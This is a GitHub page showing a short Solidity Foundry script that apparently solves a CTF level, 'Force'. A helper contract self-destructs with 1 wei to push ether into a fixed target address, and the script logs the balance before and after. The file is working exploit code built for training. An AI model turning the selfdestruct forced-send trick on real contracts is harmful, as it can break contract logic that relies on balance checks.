forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Lev7Sol.s.sol
37 lines (28 loc) · 856 Bytes
/
Lev7Sol.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
// target 讓合約餘額大於 0
// notes
// selfdestruct
// selfdestruct(address payable recipient)
contract AttackerCon {
constructor(address payable _attackerAddress) payable {
selfdestruct(_attackerAddress);
}
}
contract Lev7Sol is Script {
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log(
address(payable(0x740466c2d4e1D994d702387ca765CDa4aee8924D)).balance
);
new AttackerCon{value: 1 wei}(
payable(0x740466c2d4e1D994d702387ca765CDa4aee8924D)
);
console.log(
address(payable(0x740466c2d4e1D994d702387ca765CDa4aee8924D)).balance
);
vm.stopBroadcast();
}
}